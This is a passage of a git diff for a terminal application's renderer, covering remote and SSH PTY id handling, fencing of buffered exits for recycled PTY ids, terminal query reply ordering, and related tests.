         expect(written).not.toContain('bbbb')
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/hidden-output-restore-drain.ts b/src/renderer/src/components/terminal-pane/pty-connection/hidden-output-restore-drain.ts
index 81e26731783..a003d272444 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/hidden-output-restore-drain.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/hidden-output-restore-drain.ts
@@ -2,6 +2,7 @@ import { recordTerminalFreezeBreadcrumb } from '../terminal-freeze-breadcrumbs'
 import { redactPtyIdForDiagnostics } from '../../../../../shared/pty-delivery-diagnostics'
 import { RESET_AFTER_BYTE_GAP } from '../../../../../shared/terminal-mode-reset-profiles'
 import { cancelScheduledHiddenOutputRestore } from '../hidden-output-restore-scheduler'
+import { isRemoteExecutionHostPtyId } from '../remote-execution-host-pty'
 
 import {
   HIDDEN_OUTPUT_RESTORE_FOREGROUND_TIMEOUT_MS,
@@ -132,17 +133,24 @@ export function bindHiddenOutputRestoreDrain(session: ConnectPanePtySession): vo
     }, HIDDEN_OUTPUT_RESTORE_FOREGROUND_TIMEOUT_MS)
   }
 
-  // Trades the loss banner for one bounded post-suppression repaint from the
-  // host's authoritative buffer. Ordered before the state reset so the repaint
-  // timer arms against the live ptyId (mirrors the flood-abandon call sites).
+  // Trades the loss banner for one bounded post-suppression repaint from whatever
+  // answers for this PTY — the paired runtime's own buffer, or main's model of the
+  // direct-SSH stream. Ordered before the state reset so the repaint timer arms
+  // against the live ptyId (mirrors the flood-abandon call sites).
   session.rearmRemoteHiddenOutputRestoreInsteadOfWarning = function (
     ptyId: string,
     reason: string
   ): boolean {
-    if (
-      !isRemoteRuntimePtyId(ptyId) ||
-      session.hiddenOutputRestoreRemoteAbandonCycles >= HIDDEN_OUTPUT_RESTORE_REMOTE_REARM_MAX
-    ) {
+    if (!isRemoteExecutionHostPtyId(ptyId)) {
+      return false
+    }
+    if (session.hiddenOutputRestoreRemoteAbandonCycles >= HIDDEN_OUTPUT_RESTORE_REMOTE_REARM_MAX) {
+      // Why the reset: the budget bounds ONE stall, and returning false ends that
+      // stall with the loss banner. Without this, the counter only ever clears on a
+      // successful snapshot or a PTY change, so a single ~10s outage leaves a
+      // long-lived SSH pane at zero tolerance — every later hidden episode banners
+      // on the first null even though that null is still only `unverifiable`.
+      session.hiddenOutputRestoreRemoteAbandonCycles = 0
       return false
     }
     session.hiddenOutputRestoreRemoteAbandonCycles += 1
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/live-data-callback.ts b/src/renderer/src/components/terminal-pane/pty-connection/live-data-callback.ts
index 90a31924b98..ac50af346cd 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/live-data-callback.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/live-data-callback.ts
@@ -123,11 +123,7 @@ export function bindLiveDataCallback(session: ConnectPanePtySession): void {
       session.schedulePendingStartupCommandDelivery()
       return
     }
-    if (pendingForegroundQuery?.statelessQueryData) {
-      session.writePtyOutputToXterm(pendingForegroundQuery.statelessQueryData, true, {
-        hiddenStartupRendererQuery: true
-      })
-    }
+    // Keep source order aligned with sibling producers; xterm's async write buffer made the old inversion latent.
     if (pendingForegroundQuery?.oscColorQueryData) {
       sendTerminalOscColorQueryReplies(
         pendingForegroundQuery.oscColorQueryData,
@@ -136,6 +132,11 @@ export function bindLiveDataCallback(session: ConnectPanePtySession): void {
         session.sendDesktopQueryReplyImmediate
       )
     }
+    if (pendingForegroundQuery?.statelessQueryData) {
+      session.writePtyOutputToXterm(pendingForegroundQuery.statelessQueryData, true, {
+        hiddenStartupRendererQuery: true
+      })
+    }
     const restoreAppliesToCurrentPty =
       session.hiddenOutputRestorePtyId !== null &&
       session.transport.getPtyId() === session.hiddenOutputRestorePtyId
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/pane-agent-identity.ts b/src/renderer/src/components/terminal-pane/pty-connection/pane-agent-identity.ts
index da59cd06c79..f2c4290af76 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/pane-agent-identity.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/pane-agent-identity.ts
@@ -9,15 +9,13 @@ import {
 } from '@/lib/pane-manager/windows-pty-compatibility'
 import { createTerminalCommandLifecycle } from '../terminal-command-lifecycle'
 import { createPaneForegroundAgentTracker } from '../pane-foreground-agent-tracker'
-import { parseAppSshPtyId } from '../../../../../shared/ssh-pty-id'
+import { isRemoteExecutionHostPtyId } from '../remote-execution-host-pty'
 import { dispatchTerminalCommandFinishedEvent } from '@/hooks/terminal-command-finished-event'
 import { getExecutionHostIdForWorktree } from '@/lib/worktree-runtime-owner'
 import { resolveCommittedTitleAgentType } from '@/lib/pane-agent-evidence'
 import type { TuiAgent } from '../../../../../shared/tui-agent'
 import { isTuiAgent, TUI_AGENT_CONFIG } from '../../../../../shared/tui-agent-config'
 
-import { isRemoteRuntimePtyId } from './paired-parked-terminal-restore'
-
 import type { ConnectPanePtySession } from './connect-pane-pty-session'
 
 /** Pane agent identity, foreground-agent sampling, and command lifecycle handling. */
@@ -129,7 +127,7 @@ export function installPaneAgentIdentity(session: ConnectPanePtySession): void {
     }
   }
   session.isForegroundTrackingAllowed = (id: string): boolean => {
-    if (isRemoteRuntimePtyId(id) || parseAppSshPtyId(id) !== null) {
+    if (isRemoteExecutionHostPtyId(id)) {
       return false
     }
     if (!navigator.userAgent.includes('Windows')) {
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/terminal-keydown-fit.ts b/src/renderer/src/components/terminal-pane/pty-connection/terminal-keydown-fit.ts
index 3fc57968edd..3fff2df66fa 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/terminal-keydown-fit.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/terminal-keydown-fit.ts
@@ -2,7 +2,6 @@ import { useAppStore } from '@/store'
 import { safeFit } from '@/lib/pane-manager/pane-tree-ops'
 import { bindPanePtyId, getFitOverrideForPty } from '@/lib/pane-manager/mobile-fit-overrides'
 import { inspectRuntimeTerminalProcess } from '@/runtime/runtime-terminal-inspection'
-import { parseAppSshPtyId } from '../../../../../shared/ssh-pty-id'
 import { isFreshNonDoneAgentStatus } from '../../../../../shared/agent-status-types'
 import { isCtrlCKeyEvent, isPlainEscapeKeyEvent } from '../agent-interrupt-inference'
 import { createAgentCompletionCoordinator } from '../agent-completion-coordinator'
@@ -12,6 +11,7 @@ import { resolveCompatibleAgentTypeForOwner } from '../../../../../shared/agent-
 import { registerTerminalSideEffectFactConsumer } from '../terminal-side-effect-facts-handler'
 
 import { isAgentTaskCompleteTrackingEnabled } from './agent-task-complete-settings'
+import { isRemoteExecutionHostPtyId } from '../remote-execution-host-pty'
 import { isRemoteRuntimePtyId } from './paired-parked-terminal-restore'
 
 import type { ConnectPanePtySession } from './connect-pane-pty-session'
@@ -238,7 +238,7 @@ export function installTerminalKeydownFit(session: ConnectPanePtySession): void
         return false
       }
       const ptyId = session.transport.getPtyId()
-      return ptyId !== null && !isRemoteRuntimePtyId(ptyId) && parseAppSshPtyId(ptyId) === null
+      return ptyId !== null && !isRemoteExecutionHostPtyId(ptyId)
     },
     isLive: () => {
       if (session.disposed) {
diff --git a/src/renderer/src/components/terminal-pane/pty-pre-handler-buffer.test.ts b/src/renderer/src/components/terminal-pane/pty-pre-handler-buffer.test.ts
index 19b22971b41..489b2f3cd24 100644
--- a/src/renderer/src/components/terminal-pane/pty-pre-handler-buffer.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-pre-handler-buffer.test.ts
@@ -5,9 +5,11 @@ import {
   clearConsumedPreHandlerPtyExit,
   clearPreHandlerPtyState,
   consumePreHandlerPtyState,
+  currentPreHandlerPtySequence,
   drainPreHandlerPtyData,
   drainPreHandlerPtyExit,
   discardPreHandlerPtyState,
+  discardPreHandlerPtyStateFromPriorIncarnation,
   hasPreHandlerPtyExit,
   replayPreHandlerPtyData
 } from './pty-pre-handler-buffer'
@@ -16,6 +18,7 @@ const RESCAN_PTY_ID = 'pty-pre-handler-rescan'
 const TRIM_PTY_ID = 'pty-pre-handler-trim'
 const EXIT_PTY_ID = 'pty-pre-handler-exit'
 const CAPPED_EXIT_PTY_IDS = Array.from({ length: 65 }, (_, index) => `pty-capped-exit-${index}`)
+const RECYCLED_PTY_ID = 'ssh:target@@pty-2'
 
 describe('pre-handler PTY buffer', () => {
   afterEach(() => {
@@ -25,6 +28,7 @@ describe('pre-handler PTY buffer', () => {
     for (const ptyId of CAPPED_EXIT_PTY_IDS) {
       clearPreHandlerPtyState(ptyId)
     }
+    clearPreHandlerPtyState(RECYCLED_PTY_ID)
   })
 
   it('does not rescan historical chunks while buffering small startup output', () => {
@@ -187,4 +191,51 @@ describe('pre-handler PTY buffer', () => {
     expect(exits).not.toContain(0)
     expect(exits).toContain(64)
   })
+
+  // A redeployed SSH relay renumbers from pty-1, so a fresh spawn is handed an id whose dead owner
+  // left an exit here. Applying it reports the brand-new shell as already exited and the pane never
+  // binds a PTY at all — the tab comes up blank forever.
+  it("drops a recycled id's exit recorded before the fresh spawn was requested", () => {
+    bufferPreHandlerPtyExit(RECYCLED_PTY_ID, 0)
+    bufferPreHandlerPtyData(RECYCLED_PTY_ID, 'output from the dead shell')
+
+    const fence = currentPreHandlerPtySequence()
+    discardPreHandlerPtyStateFromPriorIncarnation(RECYCLED_PTY_ID, fence)
+
+    const exit = vi.fn()
+    const data = vi.fn()
+    expect(hasPreHandlerPtyExit(RECYCLED_PTY_ID)).toBe(false)
+    drainPreHandlerPtyExit(RECYCLED_PTY_ID, exit)
+    drainPreHandlerPtyData(RECYCLED_PTY_ID, data)
+    expect(exit).not.toHaveBeenCalled()
+    expect(data).not.toHaveBeenCalled()
+  })
+
+  it('keeps state recorded after the fence, so a shell that dies instantly still reports its exit', () => {
+    const fence = currentPreHandlerPtySequence()
+    bufferPreHandlerPtyExit(RECYCLED_PTY_ID, 1)
+    bufferPreHandlerPtyData(RECYCLED_PTY_ID, 'startup bytes')
+
+    discardPreHandlerPtyStateFromPriorIncarnation(RECYCLED_PTY_ID, fence)
+
+    const exit = vi.fn()
+    const data = vi.fn()
+    expect(hasPreHandlerPtyExit(RECYCLED_PTY_ID)).toBe(true)
+    // Data first: draining the exit transfers ownership and clears the buffered bytes with it.
+    drainPreHandlerPtyData(RECYCLED_PTY_ID, data)
+    drainPreHandlerPtyExit(RECYCLED_PTY_ID, exit)
+    expect(exit).toHaveBeenCalledWith(1)
+    expect(data).toHaveBeenCalledWith('startup bytes', undefined)
+  })
+
+  it('re-admits exits for a recycled id whose prior incarnation was consumed', () => {
+    consumePreHandlerPtyState(RECYCLED_PTY_ID)
+
+    discardPreHandlerPtyStateFromPriorIncarnation(RECYCLED_PTY_ID, currentPreHandlerPtySequence())
+    bufferPreHandlerPtyExit(RECYCLED_PTY_ID, 3)
+
+    const exit = vi.fn()
+    drainPreHandlerPtyExit(RECYCLED_PTY_ID, exit)
+    expect(exit).toHaveBeenCalledWith(3)
+  })
 })
diff --git a/src/renderer/src/components/terminal-pane/pty-pre-handler-buffer.ts b/src/renderer/src/components/terminal-pane/pty-pre-handler-buffer.ts
index 46171d40fda..9e2f4d3e929 100644
--- a/src/renderer/src/components/terminal-pane/pty-pre-handler-buffer.ts
+++ b/src/renderer/src/components/terminal-pane/pty-pre-handler-buffer.ts
@@ -11,10 +11,17 @@ type BufferedPreHandlerPtyState = {
   chunks: BufferedPreHandlerPtyData[]
   head: number
   bytes: number
+  /** Sequence of the newest chunk, used to fence state left by a prior incarnation of a reused id. */
+  sequence: number
+}
+
+type BufferedPreHandlerPtyExit = {
+  code: number
+  sequence: number
 }
 
 const preHandlerPtyData = new Map<string, BufferedPreHandlerPtyState>()
-const preHandlerPtyExit = new Map<string, number>()
+const preHandlerPtyExit = new Map<string, BufferedPreHandlerPtyExit>()
 const consumedPreHandlerPtyExits = new Map<string, true>()
 const discardedPreHandlerPtyStates = new Map<string, ReturnType<typeof setTimeout>>()
 const DISCARDED_PRE_HANDLER_PTY_STATE_TTL_MS = 60_000
@@ -31,6 +38,21 @@ const PRE_HANDLER_PTY_EXIT_MAX_PTYS = 64
 const PRE_HANDLER_PTY_DATA_WARN_BYTES = 64 * 1024
 const warnedLostHandlerPtyIds = new Set<string>()
 
+// Why: pty ids are NOT unique over time — a redeployed SSH relay renumbers from pty-1, so a fresh
+// spawn can be handed an id whose previous incarnation left buffered state here. A monotonic
+// counter dates every record so a spawn can tell "arrived before I asked for this PTY" (someone
+// else's) from "arrived while it was starting" (mine).
+let preHandlerPtySequence = 0
+
+function nextPreHandlerPtySequence(): number {
+  preHandlerPtySequence += 1
+  return preHandlerPtySequence
+}
+
+export function currentPreHandlerPtySequence(): number {
+  return preHandlerPtySequence
+}
+
 export function bufferPreHandlerPtyData(ptyId: string, data: string, meta?: PtyDataMeta): void {
   if (discardedPreHandlerPtyStates.has(ptyId)) {
     return
@@ -51,9 +73,10 @@ export function bufferPreHandlerPtyData(ptyId: string, data: string, meta?: PtyD
       : meta
   let state = preHandlerPtyData.get(ptyId)
   if (!state) {
-    state = { chunks: [], head: 0, bytes: 0 }
+    state = { chunks: [], head: 0, bytes: 0, sequence: 0 }
     preHandlerPtyData.set(ptyId, state)
   }
+  state.sequence = nextPreHandlerPtySequence()
   state.chunks.push({
     data: chunk.data,
     bytes: chunk.bytes,
@@ -117,7 +140,31 @@ export function bufferPreHandlerPtyExit(ptyId: string, code: number): void {
       preHandlerPtyExit.delete(oldestPtyId)
     }
   }
-  preHandlerPtyExit.set(ptyId, code)
+  preHandlerPtyExit.set(ptyId, { code, sequence: nextPreHandlerPtySequence() })
+}
+
+/** Drop pre-handler state a freshly spawned PTY inherited from an earlier owner of its id.
+ *
+ *  `fenceSequence` is read before the spawn request leaves the renderer, so anything at or below it
+ *  was recorded when this PTY did not yet exist and cannot describe it. Bytes and exits recorded
+ *  after the fence are kept: that is the real pre-attach race (a shell that dies instantly, or
+ *  writes before the pane registers its handler) and losing it would blank a legitimate pane. */
+export function discardPreHandlerPtyStateFromPriorIncarnation(
+  ptyId: string,
+  fenceSequence: number
+): void {
+  const exit = preHandlerPtyExit.get(ptyId)
+  if (exit && exit.sequence <= fenceSequence) {
+    preHandlerPtyExit.delete(ptyId)
+  }
+  const data = preHandlerPtyData.get(ptyId)
+  if (data && data.sequence <= fenceSequence) {
+    preHandlerPtyData.delete(ptyId)
+    warnedLostHandlerPtyIds.delete(ptyId)
+  }
+  // Why: the id now names a different, live PTY, so a prior incarnation's consumed/discarded marks
+  // must not suppress this one's own exit — the same admission boundary a same-id reattach gets.
+  clearConsumedPreHandlerPtyExit(ptyId)
 }
 
 // Why: primary handlers and pane-less parked owners have fully handled this
@@ -173,13 +220,13 @@ export function hasPreHandlerPtyExit(ptyId: string): boolean {
 }
 
 export function drainPreHandlerPtyExit(ptyId: string, handler: (code: number) => void): void {
-  const code = preHandlerPtyExit.get(ptyId)
-  if (code === undefined) {
+  const exit = preHandlerPtyExit.get(ptyId)
+  if (exit === undefined) {
     return
   }
   preHandlerPtyExit.delete(ptyId)
   try {
-    handler(code)
+    handler(exit.code)
   } finally {
     // Why: draining transfers ownership to this handler. Even when it throws,
     // a duplicate exit must not become a new pre-handler event.
diff --git a/src/renderer/src/components/terminal-pane/remote-execution-host-pty.test.ts b/src/renderer/src/components/terminal-pane/remote-execution-host-pty.test.ts
new file mode 100644
index 00000000000..f87129c88f9
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/remote-execution-host-pty.test.ts
@@ -0,0 +1,30 @@
+import { describe, expect, it } from 'vitest'
+
+import { toRemoteRuntimePtyId } from '../../../../shared/remote-runtime-pty-id'
+import { toAppSshPtyId } from '../../../../shared/ssh-pty-id'
+
+import { isRemoteExecutionHostPtyId } from './remote-execution-host-pty'
+
+describe('isRemoteExecutionHostPtyId', () => {
+  it('accepts paired-runtime ptys with and without an owner environment', () => {
+    expect(isRemoteExecutionHostPtyId(toRemoteRuntimePtyId('term_1', 'env-a'))).toBe(true)
+    expect(isRemoteExecutionHostPtyId(toRemoteRuntimePtyId('term_1'))).toBe(true)
+  })
+
+  it('accepts direct-SSH app pty ids', () => {
+    expect(isRemoteExecutionHostPtyId(toAppSshPtyId('target-1', 'pty-1'))).toBe(true)
+  })
+
+  it('rejects local ptys, empty ids, and absent ids', () => {
+    expect(isRemoteExecutionHostPtyId('worktree-1|pane-1')).toBe(false)
+    expect(isRemoteExecutionHostPtyId('')).toBe(false)
+    expect(isRemoteExecutionHostPtyId(null)).toBe(false)
+    expect(isRemoteExecutionHostPtyId(undefined)).toBe(false)
+  })
+
+  // Why: a bare "ssh:" id with no relay separator names no connection, so it is
+  // not evidence the request crosses a link.
+  it('rejects an ssh-prefixed id that carries no relay pty id', () => {
+    expect(isRemoteExecutionHostPtyId('ssh:target-1')).toBe(false)
+  })
+})
diff --git a/src/renderer/src/components/terminal-pane/remote-execution-host-pty.ts b/src/renderer/src/components/terminal-pane/remote-execution-host-pty.ts
new file mode 100644
index 00000000000..38fbee322e9
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/remote-execution-host-pty.ts
@@ -0,0 +1,14 @@
+import { isRemoteRuntimePtyId } from '@/runtime/runtime-terminal-inspection'
+
+import { parseAppSshPtyId } from '../../../../shared/ssh-pty-id'
+
+// Why: both remote shapes are answered across a link — paired runtimes
+// ("remote:", host-owned buffer) and direct SSH ("ssh:<target>@@<id>", main's
+// relay-fed model, whose serialize can block on host RPCs). Silence from either
+// is `unverifiable`, never proof of death (docs/reference/ssh-execution-boundary.md).
+export function isRemoteExecutionHostPtyId(ptyId: string | null | undefined): boolean {
+  if (typeof ptyId !== 'string') {
+    return false
+  }
+  return isRemoteRuntimePtyId(ptyId) || parseAppSshPtyId(ptyId) !== null
+}
diff --git a/src/renderer/src/components/terminal-pane/terminal-capability-replies.test.ts b/src/renderer/src/components/terminal-pane/terminal-capability-replies.test.ts
index 0cda3ca8120..3db71636bed 100644
--- a/src/renderer/src/components/terminal-pane/terminal-capability-replies.test.ts
+++ b/src/renderer/src/components/terminal-pane/terminal-capability-replies.test.ts
@@ -88,6 +88,34 @@ describe('installTerminalCapabilityReplyHandlers', () => {
     }
   })
 
+  it.each([
+    ['OSC 11 then CPR', '\x1b]11;?\x1b\\\x1b[6n', ['osc', 'cpr']],
+    ['CPR then OSC 11', '\x1b[6n\x1b]11;?\x1b\\', ['cpr', 'osc']]
+  ] as const)('preserves combined query order (%s)', async (_name, input, expectedKinds) => {
+    const term = new Terminal({ cols: 80, rows: 24, allowProposedApi: true })
+    term.options.theme = { background: '#ffffff' }
+    const replies: string[] = []
+    const disposable = installTerminalCapabilityReplyHandlers({
+      terminal: term as never,
+      parser: term.parser,
+      sendInput: (data) => {
+        replies.push(data)
+      },
+      isReplaying: () => false
+    })
+    const onData = term.onData((data) => replies.push(data))
+
+    try {
+      await writeTerminal(term, input)
+      const kinds = replies.map((reply) => (reply.startsWith('\x1b]11;') ? 'osc' : 'cpr'))
+      expect(kinds).toEqual(expectedKinds)
+    } finally {
+      onData.dispose()
+      disposable.dispose()
+      term.dispose()
+    }
+  })
+
   it('answers OSC color queries for active rgba and modern rgb theme colors', async () => {
     const term = new Terminal({ cols: 80, rows: 24, allowProposedApi: true })
     term.options.theme = {
diff --git a/src/renderer/src/components/terminal-pane/terminal-cold-park-tab-model-identity.react185.test.tsx b/src/renderer/src/components/terminal-pane/terminal-cold-park-tab-model-identity.react185.test.tsx
new file mode 100644
index 00000000000..87973f0d47a
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/terminal-cold-park-tab-model-identity.react185.test.tsx
@@ -0,0 +1,233 @@
+/** @vitest-environment happy-dom */
+/**
+ * Crash cluster "React #185 in TerminalPaneOverlayLayer" (boundary terminal.workbench).
+ *
+ * The overlay's own park verdict does not oscillate (terminal-cold-park-verdict-loop
+ * covers that). What used to put it in the stack: its cold-park effect re-runs on
+ * every tab-model write — a runtime title publication, an unread bump re-mints
+ * tabsByWorktree — and each run dispatched setColdParkedTerminalTabIds even when
+ * the verdict was unchanged. React only bails on such a dispatch while the fiber
+ * has no pending lanes, so inside a cascade some other component drives, this hook
+ * is the one that trips the root-global nested-update counter and gets blamed (see
+ * src/shared/react-update-depth-attribution.ts).
+ */
+import { act, useEffect, useState, StrictMode } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { REACT_NESTED_UPDATE_LIMIT } from '../../../../shared/react-update-depth-attribution'
+import type { Tab, TabGroup } from '../../../../shared/tab-types'
+import type { TerminalTab } from '../../../../shared/terminal-tab-types'
+
+;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
+
+const harness = vi.hoisted(() => ({
+  worktreeId: 'repo::/cold-park-tab-model-identity',
+  parkEffectRuns: 0,
+  renderedParkedSets: [] as string[][]
+}))
+
+vi.mock('../../store', async () => {
+  const { create } = await import('zustand')
+  const useAppStore = create(() => ({
+    activeGroupIdByWorktree: {} as Record<string, string | undefined>,
+    groupsByWorktree: {} as Record<string, TabGroup[]>,
+    pendingStartupByTabId: {} as Record<string, unknown>,
+    ptyIdsByTabId: {} as Record<string, string[]>,
+    runtimeStatusByEnvironmentId: new Map<string, unknown>(),
+    runtimePaneTitlesByTabId: {} as Record<string, Record<number, string>>,
+    settings: {} as Record<string, unknown>,
+    sleepingAgentSessionsByPaneKey: {} as Record<string, unknown>,
+    tabsByWorktree: {} as Record<string, TerminalTab[]>,
+    terminalLayoutsByTabId: {} as Record<string, unknown>,
+    unifiedTabsByWorktree: {} as Record<string, Tab[]>,
+    consumeSuppressedPtyExit: () => false,
+    focusGroup: () => {},
+    reconcileWorktreeTabModel: () => ({ renderableTabCount: 2 }),
+    setActiveWorktree: () => {}
+  }))
+  return { useAppStore }
+})
+
+vi.mock('../native-chat/use-native-chat-toggle-shortcut', () => ({
+  useNativeChatToggleShortcut: () => {}
+}))
+
+vi.mock('./TerminalOverlaySlot', () => ({ TerminalOverlaySlot: () => null }))
+
+vi.mock('./terminal-parked-tab-watchers', () => ({
+  canWatcherCoverParkedTerminalTab: () => true,
+  disposeParkedTerminalWatchersForWorktree: () => {},
+  syncParkedTerminalTabWatchers: (args: { parkedTabIds: ReadonlySet<string> }) => {
+    harness.renderedParkedSets.push([...args.parkedTabIds].sort())
+  }
+}))
+
+// Counts cold-park effect executions: the effect clears and re-arms its recheck
+// timers on every run, so this is also the per-commit work the identity dep costs.
+vi.mock('./terminal-parking-e2e-overrides', () => ({
+  getTerminalParkingPolicyOverrides: () => {
+    harness.parkEffectRuns += 1
+    return { coldParkDelayMs: 0, hotRetainMs: 0 }
+  }
+}))
+
+vi.mock('@/lib/crash-breadcrumb-recorder', () => ({ recordRendererCrashBreadcrumb: vi.fn() }))
+
+import { useAppStore } from '../../store'
+import TerminalPaneOverlayLayer from './TerminalPaneOverlayLayer'
+
+const TAB_IDS = ['tab-a', 'tab-b'] as const
+const GROUP_ID = 'group-a'
+/** Above React's nested-update limit so the cascade actually reaches the bail. */
+const CASCADE_COMMITS = REACT_NESTED_UPDATE_LIMIT * 2
+
+type ParkingStoreState = {
+  groupsByWorktree: Record<string, TabGroup[]>
+  tabsByWorktree: Record<string, TerminalTab[]>
+  unifiedTabsByWorktree: Record<string, Tab[]>
+}
+
+const parkingStore = useAppStore as unknown as {
+  getState: () => ParkingStoreState
+  setState: (partial: unknown) => void
+}
+
+function terminalTab(id: string): TerminalTab {
+  return {
+    id,
+    worktreeId: harness.worktreeId,
+    ptyId: `${harness.worktreeId}@@session-${id}`,
+    title: id,
+    generation: 0
+  } as TerminalTab
+}
+
+function unifiedTerminalTab(id: string): Tab {
+  return {
+    id: `unified-${id}`,
+    entityId: id,
+    worktreeId: harness.worktreeId,
+    groupId: GROUP_ID,
+    contentType: 'terminal',
+    label: id,
+    customLabel: null,
+    color: null,
+    sortOrder: 0,
+    createdAt: 0
+  } as Tab
+}
+
+/** An ordinary runtime title publication: re-mints tabsByWorktree, changes no park input. */
+function publishRuntimeTitle(revision: number): void {
+  parkingStore.setState((state: ParkingStoreState) => ({
+    tabsByWorktree: {
+      ...state.tabsByWorktree,
+      [harness.worktreeId]: state.tabsByWorktree[harness.worktreeId].map((tab) => ({
+        ...tab,
+        title: `${tab.id}-${revision}`
+      }))
+    }
+  }))
+}
+
+/**
+ * The cascade driver: a component with its own runaway passive effect, in no way
+ * related to terminal parking. It is the bug; the overlay is the bystander.
+ */
+function UnrelatedCascadeDriver(): null {
+  const [tick, setTick] = useState(0)
+  useEffect(() => {
+    if (tick >= CASCADE_COMMITS) {
+      return
+    }
+    publishRuntimeTitle(tick)
+    setTick((current) => current + 1)
+  }, [tick])
+  return null
+}
+
+function renderTree(root: Root): unknown {
+  const consoleError = vi.spyOn(console, 'error').mockImplementation(() => {})
+  let error: unknown = null
+  try {
+    act(() => {
+      root.render(
+        <StrictMode>
+          <TerminalPaneOverlayLayer
+            worktreeId={harness.worktreeId}
+            worktreePath="cold-park-tab-model-identity"
+            isWorktreeActive={false}
+            coldParkTerminalPanes={false}
+          />
+          <UnrelatedCascadeDriver />
+        </StrictMode>
+      )
+    })
+  } catch (thrown) {
+    error = thrown
+  }
+  consoleError.mockRestore()
+  return error
+}
+
+describe('cold-park effect vs. unrelated commit cascade', () => {
+  let container: HTMLDivElement
+  let root: Root | undefined
+  beforeEach(() => {
+    harness.parkEffectRuns = 0
+    harness.renderedParkedSets.length = 0
+    const tabs = TAB_IDS.map(terminalTab)
+    const unifiedTabs = TAB_IDS.map(unifiedTerminalTab)
+    parkingStore.setState({
+      activeGroupIdByWorktree: { [harness.worktreeId]: GROUP_ID },
+      groupsByWorktree: {
+        [harness.worktreeId]: [
+          {
+            id: GROUP_ID,
+            worktreeId: harness.worktreeId,
+            activeTabId: unifiedTabs[0].id,
+            tabOrder: unifiedTabs.map((tab) => tab.id),
+            recentTabIds: [unifiedTabs[0].id]
+          } as TabGroup
+        ]
+      },
+      tabsByWorktree: { [harness.worktreeId]: tabs },
+      unifiedTabsByWorktree: { [harness.worktreeId]: unifiedTabs }
+    })
+    container = document.createElement('div')
+    document.body.appendChild(container)
+  })
+
+  afterEach(() => {
+    try {
+      act(() => root?.unmount())
+    } catch {
+      /* a failed commit leaves no mounted tree */
+    }
+    root = undefined
+    container.remove()
+  })
+
+  it('dispatches no park-state update for tab-model writes that change no park verdict', () => {
+    root = createRoot(container)
+    const error = renderTree(root)
+
+    // The park verdict itself never churns: one empty -> parked transition,
+    // matching the field bundle, which carries no terminal_park_verdict_churn crumb.
+    expect(harness.renderedParkedSets.at(-1)).toEqual(['tab-b'])
+    expect(new Set(harness.renderedParkedSets.map((ids) => ids.join(',')))).toEqual(
+      new Set(['', 'tab-b'])
+    )
+
+    // React #185 still fires — the driver is the bug — but it must land on the
+    // driver's own dispatch, not on the overlay's park state. Asserting the throw
+    // happened keeps the "not blamed" check below from passing on an empty stack.
+    expect(error instanceof Error ? error.message : '').toContain('Maximum update depth exceeded')
+    const stack = error instanceof Error ? (error.stack ?? '') : String(error ?? '')
+    expect(stack).not.toContain('use-terminal-tab-cold-parking')
+    expect(stack).toContain('terminal-cold-park-tab-model-identity')
+    // The effect itself still re-runs — coverage is re-derived from store state
+    // the park key cannot encode — it just stops dispatching an unchanged verdict.
+    expect(harness.parkEffectRuns).toBeGreaterThan(REACT_NESTED_UPDATE_LIMIT)
+  })
+})
diff --git a/src/renderer/src/components/terminal-pane/terminal-drop-path-writer.ts b/src/renderer/src/components/terminal-pane/terminal-drop-path-writer.ts
index d97bca17a63..f8ed3766251 100644
--- a/src/renderer/src/components/terminal-pane/terminal-drop-path-writer.ts
+++ b/src/renderer/src/components/terminal-pane/terminal-drop-path-writer.ts
@@ -1,4 +1,5 @@
 import type { PaneManager } from '@/lib/pane-manager/pane-manager'
+import { separateImagePasteFromFollowingText } from '../../../../shared/image-paste-following-text'
 import { shellEscapePath } from './pane-helpers'
 import type { PtyTransport } from './pty-transport'
 import { wrapTerminalBracketedPasteText } from './terminal-bracketed-paste'
@@ -65,7 +66,10 @@ export async function writeTerminalDropPathsToCapturedTarget({
       canPasteImageDropPathRaw(nextPath, targetShell)
     const needsSeparatorAfterImage = nextPath !== undefined && !nextPathIsRawPasteImage
     const payload = pathIsRawPasteImage
-      ? `${wrapTerminalBracketedPasteText(path)}${needsSeparatorAfterImage ? ' ' : ''}`
+      ? separateImagePasteFromFollowingText(
+          wrapTerminalBracketedPasteText(path),
+          needsSeparatorAfterImage
+        )
       : `${shellEscapePath(path, targetShell)} `
     const writeResult = await runTerminalPasteOperationWithTimeout(
       () => writeTerminalPastePtyInput(liveTransport, payload),
diff --git a/src/renderer/src/components/terminal-pane/terminal-file-link-actions.test.ts b/src/renderer/src/components/terminal-pane/terminal-file-link-actions.test.ts
index c75aad5ae12..b9354a73267 100644
--- a/src/renderer/src/components/terminal-pane/terminal-file-link-actions.test.ts
+++ b/src/renderer/src/components/terminal-pane/terminal-file-link-actions.test.ts
@@ -3,6 +3,7 @@ import type { TerminalLinkActionContext } from './terminal-link-action-request'
 
 const mocks = vi.hoisted(() => ({
   canOpenWithSystemDefault: true,
+  downloadAndOpen: vi.fn(),
   openDetectedFilePath: vi.fn(),
   worktreeRoot: false
 }))
@@ -19,6 +20,10 @@ vi.mock('./terminal-worktree-path-link', () => ({
   resolveKnownWorktreeRootPathLink: () => (mocks.worktreeRoot ? { id: 'wt-2' } : null)
 }))
 
+vi.mock('./terminal-remote-file-download-open', () => ({
+  downloadAndOpenRemoteTerminalFile: mocks.downloadAndOpen
+}))
+
 import { handleTerminalFileLink } from './terminal-file-link-actions'
 
